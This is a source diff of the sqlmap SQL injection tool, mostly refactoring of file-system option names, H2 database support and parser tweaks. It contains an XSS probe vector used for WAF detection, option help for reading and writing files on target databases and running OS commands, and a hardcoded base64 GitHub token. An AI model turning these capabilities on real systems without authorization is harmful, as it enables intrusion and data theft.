conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
|
||||
|
||||
def _setHTTPTimeout():
|
||||
"""
|
||||
Set the HTTP timeout
|
||||
@@ -1509,14 +1515,14 @@ def _cleanupOptions():
|
||||
if conf.url:
|
||||
conf.url = conf.url.strip()
|
||||
|
||||
if conf.rFile:
|
||||
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
|
||||
if conf.fileRead:
|
||||
conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
|
||||
|
||||
if conf.wFile:
|
||||
conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
|
||||
if conf.fileWrite:
|
||||
conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
|
||||
|
||||
if conf.dFile:
|
||||
conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
|
||||
if conf.fileDest:
|
||||
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
|
||||
|
||||
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
|
||||
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
|
||||
@@ -1533,14 +1539,6 @@ def _cleanupOptions():
|
||||
if conf.optimize:
|
||||
setOptimize()
|
||||
|
||||
match = re.search(INJECT_HERE_REGEX, conf.data or "")
|
||||
if match:
|
||||
kb.customInjectionMark = match.group(0)
|
||||
|
||||
match = re.search(INJECT_HERE_REGEX, conf.url or "")
|
||||
if match:
|
||||
kb.customInjectionMark = match.group(0)
|
||||
|
||||
if conf.os:
|
||||
conf.os = conf.os.capitalize()
|
||||
|
||||
@@ -1699,7 +1697,7 @@ def _setConfAttributes():
|
||||
conf.tests = []
|
||||
conf.trafficFP = None
|
||||
conf.HARCollectorFactory = None
|
||||
conf.wFileType = None
|
||||
conf.fileWriteType = None
|
||||
|
||||
def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
"""
|
||||
@@ -1713,6 +1711,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.absFilePaths = set()
|
||||
kb.adjustTimeDelay = None
|
||||
kb.alerted = False
|
||||
kb.aliasName = randomStr()
|
||||
kb.alwaysRefresh = None
|
||||
kb.arch = None
|
||||
kb.authHeader = None
|
||||
@@ -1852,6 +1851,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.safeCharEncode = False
|
||||
kb.safeReq = AttribDict()
|
||||
kb.secondReq = None
|
||||
kb.serverHeader = None
|
||||
kb.singleLogFlags = set()
|
||||
kb.skipSeqMatcher = False
|
||||
kb.reduceTests = None
|
||||
@@ -2484,10 +2484,10 @@ def init():
|
||||
_resolveCrossReferences()
|
||||
_checkWebSocket()
|
||||
|
||||
parseTargetUrl()
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
_setHTTPCookies()
|
||||
|
||||
@@ -165,9 +165,9 @@ optDict = {
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
"fileRead": "string",
|
||||
"fileWrite": "string",
|
||||
"fileDest": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
|
||||
+24
-14
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
from lib.core.enums import OS
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.2.8.0"
|
||||
VERSION = "1.2.11.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -45,10 +45,10 @@ BANNER = """\033[01;33m\
|
||||
DIFF_TOLERANCE = 0.05
|
||||
CONSTANT_RATIO = 0.9
|
||||
|
||||
# Ratio used in heuristic check for WAF/IPS/IDS protected targets
|
||||
# Ratio used in heuristic check for WAF/IPS protected targets
|
||||
IDS_WAF_CHECK_RATIO = 0.5
|
||||
|
||||
# Timeout used in heuristic check for WAF/IPS/IDS protected targets
|
||||
# Timeout used in heuristic check for WAF/IPS protected targets
|
||||
IDS_WAF_CHECK_TIMEOUT = 10
|
||||
|
||||
# Lower and upper values for match ratio in case of stable page
|
||||
@@ -71,6 +71,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||
INFERENCE_MARKER = "[INFERENCE]"
|
||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||
|
||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||
CHAR_INFERENCE_MARK = "%c"
|
||||
@@ -97,6 +98,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
||||
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
|
||||
PRECONNECT_CANDIDATE_TIMEOUT = 10
|
||||
|
||||
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
|
||||
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
|
||||
|
||||
# Maximum sleep time in "Murphy" (testing) mode
|
||||
MAX_MURPHY_SLEEP_TIME = 3
|
||||
|
||||
@@ -233,6 +237,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
@@ -246,20 +251,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||
H2_ALIASES = ("h2",)
|
||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
||||
|
||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||
HOST_ALIASES = ("host",)
|
||||
|
||||
HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
|
||||
# Names that can't be used to name files on Windows OS
|
||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||
@@ -321,6 +327,7 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>
|
||||
|
||||
# Regular expressions used for parsing error messages (--parse-errors)
|
||||
ERROR_PARSING_REGEXES = (
|
||||
r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||
@@ -367,7 +374,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
||||
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
|
||||
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
||||
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
|
||||
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
|
||||
|
||||
# Maximum number of threads (avoiding connection issues and/or DoS)
|
||||
MAX_NUMBER_OF_THREADS = 10
|
||||
@@ -406,7 +413,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
|
||||
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
|
||||
|
||||
# Regular expression used for replacing non-alphanum characters
|
||||
REFLECTED_REPLACEMENT_REGEX = r".+"
|
||||
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
|
||||
|
||||
# Maximum time (in seconds) spent per reflective value(s) replacement
|
||||
REFLECTED_REPLACEMENT_TIMEOUT = 3
|
||||
@@ -426,6 +433,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
|
||||
# Display hash attack info every mod number of items
|
||||
HASH_MOD_ITEM_DISPLAY = 11
|
||||
|
||||
# Display marker for (cracked) empty password
|
||||
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
|
||||
|
||||
# Maximum integer value
|
||||
MAX_INT = sys.maxint
|
||||
|
||||
@@ -524,7 +534,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
||||
|
||||
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
|
||||
# Vectors used for provoking specific WAF/IPS behavior(s)
|
||||
WAF_ATTACK_VECTORS = (
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
@@ -583,7 +593,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
||||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||
|
||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
|
||||
|
||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||
HASHDB_FLUSH_THRESHOLD = 32
|
||||
@@ -673,7 +683,7 @@ MAX_HELP_OPTION_LENGTH = 18
|
||||
MAX_CONNECT_RETRIES = 100
|
||||
|
||||
# Strings for detecting formatting errors
|
||||
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
|
||||
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
|
||||
|
||||
# Regular expression used for extracting ASP.NET view state values
|
||||
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
|
||||
@@ -748,7 +758,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
|
||||
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
|
||||
|
||||
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
|
||||
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
|
||||
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
|
||||
|
||||
# Prefixes used in brute force search for web server document root
|
||||
BRUTE_DOC_ROOT_PREFIXES = {
|
||||
@@ -786,9 +796,9 @@ tr:nth-child(even) {
|
||||
background-color: #D3DFEE
|
||||
}
|
||||
td{
|
||||
font-size:10px;
|
||||
font-size:12px;
|
||||
}
|
||||
th{
|
||||
font-size:10px;
|
||||
font-size:12px;
|
||||
}
|
||||
</style>"""
|
||||
|
||||
+24
-21
@@ -53,30 +53,33 @@ def clearHistory():
|
||||
readline.clear_history()
|
||||
|
||||
def saveHistory(completion=None):
|
||||
if not readlineAvailable():
|
||||
return
|
||||
|
||||
if completion == AUTOCOMPLETE_TYPE.SQL:
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
try:
|
||||
with open(historyPath, "w+"):
|
||||
if not readlineAvailable():
|
||||
return
|
||||
|
||||
if completion == AUTOCOMPLETE_TYPE.SQL:
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
try:
|
||||
with open(historyPath, "w+"):
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
readline.set_history_length(MAX_HISTORY_LENGTH)
|
||||
try:
|
||||
readline.write_history_file(historyPath)
|
||||
except IOError, msg:
|
||||
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
|
||||
logger.warn(warnMsg)
|
||||
readline.set_history_length(MAX_HISTORY_LENGTH)
|
||||
try:
|
||||
readline.write_history_file(historyPath)
|
||||
except IOError, msg:
|
||||
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
|
||||
logger.warn(warnMsg)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
def loadHistory(completion=None):
|
||||
if not readlineAvailable():
|
||||
|
||||
+23
-4
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import functools
|
||||
import os
|
||||
import re
|
||||
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
|
||||
from lib.core.exception import SqlmapFilePathException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapMissingPrivileges
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.option import _setDBMS
|
||||
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
|
||||
from lib.core.option import _setAuthCred
|
||||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import HOST_ALIASES
|
||||
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
|
||||
from lib.core.settings import INJECT_HERE_REGEX
|
||||
from lib.core.settings import JSON_RECOGNITION_REGEX
|
||||
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
|
||||
from lib.core.settings import MULTIPART_RECOGNITION_REGEX
|
||||
@@ -467,7 +469,13 @@ def _resumeDBMS():
|
||||
value = hashDBRetrieve(HASHDB_KEYS.DBMS)
|
||||
|
||||
if not value:
|
||||
return
|
||||
if conf.offline:
|
||||
errMsg = "unable to continue in offline mode "
|
||||
errMsg += "because of lack of usable "
|
||||
errMsg += "session data"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
else:
|
||||
return
|
||||
|
||||
dbms = value.lower()
|
||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||
@@ -571,7 +579,7 @@ def _createFilesDir():
|
||||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not conf.rFile:
|
||||
if not conf.fileRead:
|
||||
return
|
||||
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
|
||||
@@ -674,7 +682,7 @@ def _createTargetDirs():
|
||||
conf.outputPath = getUnicode(conf.outputPath)
|
||||
|
||||
try:
|
||||
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
|
||||
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
|
||||
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
|
||||
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
|
||||
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
|
||||
@@ -693,6 +701,13 @@ def _createTargetDirs():
|
||||
_createFilesDir()
|
||||
_configureDumper()
|
||||
|
||||
def _setAuxOptions():
|
||||
"""
|
||||
Setup auxiliary (host-dependent) options
|
||||
"""
|
||||
|
||||
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
|
||||
|
||||
def _restoreMergedOptions():
|
||||
"""
|
||||
Restore merged options (command line, configuration file and default values)
|
||||
@@ -739,6 +754,9 @@ def initTargetEnv():
|
||||
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
|
||||
kb.postSpaceToPlus = '+' in original
|
||||
|
||||
match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
|
||||
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
|
||||
|
||||
def setupTargetEnv():
|
||||
_createTargetDirs()
|
||||
_setRequestParams()
|
||||
@@ -746,3 +764,4 @@ def setupTargetEnv():
|
||||
_resumeHashDBValues()
|
||||
_setResultsFile()
|
||||
_setAuthCred()
|
||||
_setAuxOptions()
|
||||
+3
-3
@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
||||
kb.threadException = True
|
||||
raise
|
||||
except Exception, ex:
|
||||
if not silent:
|
||||
if not silent and kb.get("threadContinue"):
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
||||
|
||||
if conf.verbose > 1:
|
||||
if conf.get("verbose") > 1:
|
||||
traceback.print_exc()
|
||||
|
||||
def setDaemon(thread):
|
||||
@@ -189,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
kb.threadException = True
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
||||
|
||||
if conf.verbose > 1:
|
||||
if conf.get("verbose") > 1:
|
||||
traceback.print_exc()
|
||||
|
||||
except:
|
||||
|
||||
+20
-13
@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
|
||||
help="Force usage of given HTTP method (e.g. PUT)")
|
||||
|
||||
request.add_option("--data", dest="data",
|
||||
help="Data string to be sent through POST")
|
||||
help="Data string to be sent through POST (e.g. \"id=1\")")
|
||||
|
||||
request.add_option("--param-del", dest="paramDel",
|
||||
help="Character used for splitting parameter values")
|
||||
help="Character used for splitting parameter values (e.g. &)")
|
||||
|
||||
request.add_option("--cookie", dest="cookie",
|
||||
help="HTTP Cookie header value")
|
||||
help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
|
||||
|
||||
request.add_option("--cookie-del", dest="cookieDel",
|
||||
help="Character used for splitting cookie values")
|
||||
help="Character used for splitting cookie values (e.g. ;)")
|
||||
|
||||
request.add_option("--load-cookies", dest="loadCookies",
|
||||
help="File containing cookies in Netscape/wget format")
|
||||
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
|
||||
help="HTTP authentication PEM cert/private key file")
|
||||
|
||||
request.add_option("--ignore-code", dest="ignoreCode", type="int",
|
||||
help="Ignore HTTP error code (e.g. 401)")
|
||||
help="Ignore (problematic) HTTP error code (e.g. 401)")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
@@ -207,7 +207,7 @@ def cmdLineParser(argv=None):
|
||||
help="Parameter used to hold anti-CSRF token")
|
||||
|
||||
request.add_option("--csrf-url", dest="csrfUrl",
|
||||
help="URL address to visit to extract anti-CSRF token")
|
||||
help="URL address to visit for extraction of anti-CSRF token")
|
||||
|
||||
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
|
||||
help="Force usage of SSL/HTTPS")
|
||||
@@ -471,13 +471,13 @@ def cmdLineParser(argv=None):
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
|
||||
|
||||
filesystem.add_option("--file-read", dest="rFile",
|
||||
filesystem.add_option("--file-read", dest="fileRead",
|
||||
help="Read a file from the back-end DBMS file system")
|
||||
|
||||
filesystem.add_option("--file-write", dest="wFile",
|
||||
filesystem.add_option("--file-write", dest="fileWrite",
|
||||
help="Write a local file on the back-end DBMS file system")
|
||||
|
||||
filesystem.add_option("--file-dest", dest="dFile",
|
||||
filesystem.add_option("--file-dest", dest="fileDest",
|
||||
help="Back-end DBMS absolute filepath to write to")
|
||||
|
||||
# Takeover options
|
||||
@@ -617,7 +617,7 @@ def cmdLineParser(argv=None):
|
||||
help="Run host OS command(s) when SQL injection is found")
|
||||
|
||||
miscellaneous.add_option("--answers", dest="answers",
|
||||
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||
|
||||
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
||||
help="Beep on question and/or when SQL injection is found")
|
||||
@@ -626,7 +626,7 @@ def cmdLineParser(argv=None):
|
||||
help="Clean up the DBMS from sqlmap specific UDF and tables")
|
||||
|
||||
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
|
||||
help="Check for missing (non-core) sqlmap dependencies")
|
||||
help="Check for missing (optional) sqlmap dependencies")
|
||||
|
||||
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
|
||||
help="Disable console output coloring")
|
||||
@@ -635,7 +635,7 @@ def cmdLineParser(argv=None):
|
||||
help="Use Google dork results from specified page number")
|
||||
|
||||
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
|
||||
help="Make a thorough testing for a WAF/IPS/IDS protection")
|
||||
help="Make a thorough testing for a WAF/IPS protection")
|
||||
|
||||
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
|
||||
help="Display list of available tamper scripts")
|
||||
@@ -650,7 +650,7 @@ def cmdLineParser(argv=None):
|
||||
help="Safely remove all content from sqlmap data directory")
|
||||
|
||||
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
|
||||
help="Skip heuristic detection of WAF/IPS/IDS protection")
|
||||
help="Skip heuristic detection of WAF/IPS protection")
|
||||
|
||||
miscellaneous.add_option("--smart", dest="smart", action="store_true",
|
||||
help="Conduct thorough tests only if positive heuristic(s)")
|
||||
@@ -753,6 +753,7 @@ def cmdLineParser(argv=None):
|
||||
prompt = False
|
||||
advancedHelp = True
|
||||
extraHeaders = []
|
||||
tamperIndex = None
|
||||
|
||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||
for arg in argv:
|
||||
@@ -824,6 +825,12 @@ def cmdLineParser(argv=None):
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif argv[i].startswith("--tamper"):
|
||||
if tamperIndex is None:
|
||||
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||
else:
|
||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||
argv[i] = ""
|
||||
elif argv[i] == "-H":
|
||||
if i + 1 < len(argv):
|
||||
extraHeaders.append(argv[i + 1])
|
||||
|
||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from xml.etree import ElementTree as et
|
||||
|
||||
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
|
||||
from lib.core.settings import PAYLOAD_XML_FILES
|
||||
|
||||
def cleanupVals(text, tag):
|
||||
if tag == "clause" and '-' in text:
|
||||
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
|
||||
|
||||
if tag in ("clause", "where"):
|
||||
text = text.split(',')
|
||||
|
||||
|
||||
@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
|
||||
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
|
||||
|
||||
if kb.heavilyDynamic:
|
||||
seq1 = seq1.split("\n")
|
||||
seq2 = seq2.split("\n")
|
||||
|
||||
seqMatcher.set_seq1(seq1)
|
||||
seqMatcher.set_seq2(seq2)
|
||||
|
||||
ratio = round(seqMatcher.quick_ratio(), 3)
|
||||
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
|
||||
|
||||
# If the url is stable and we did not set yet the match ratio and the
|
||||
# current injected value changes the url page content
|
||||
|
||||
+48
-9
@@ -16,6 +16,7 @@ import string
|
||||
import struct
|
||||
import time
|
||||
import traceback
|
||||
import urllib
|
||||
